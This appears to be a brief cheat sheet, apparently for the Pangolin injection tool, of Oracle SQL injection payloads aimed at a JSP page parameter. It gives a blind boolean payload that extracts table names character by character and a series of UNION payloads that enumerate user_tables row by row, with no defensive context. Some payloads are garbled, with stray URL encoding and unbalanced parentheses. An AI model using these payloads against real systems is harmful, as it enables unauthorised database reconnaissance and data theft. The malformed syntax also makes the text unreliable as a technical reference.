Oracle injection Statement (pangolin)

Blind note and guess

/New/new_content.jsp? Dtxx_id = 881 and (select ascii (substr (table_name, 6, 1) from (select rownum r, table_name from (select rownum r, table_name from user_tables where rownum % 3C = 1 order by 1 desc) t where r % 3E1-1 order by 1) t)> 0 and 1 = 1 HTTP/1.1

Use union to generate all tables in sequence.

And 1 = 3 union select table_name from (select rownum r, table_name from (select rownum r, table_name from user_tables where rownum <= 1 order by 1 desc) t where r> 0 order by 1) t --

And 1 = 3 union select table_name from (select rownum r, table_name from (select rownum r, table_name from user_tables where rownum <= 2 order by 1 desc) t where r> 1 order by 1) t --

And 1 = 3 union select table_name from (select rownum r, table_name from (select rownum r, table_name from user_tables where rownum <= 3 order by 1 desc) t where r> 2 order by 1) t --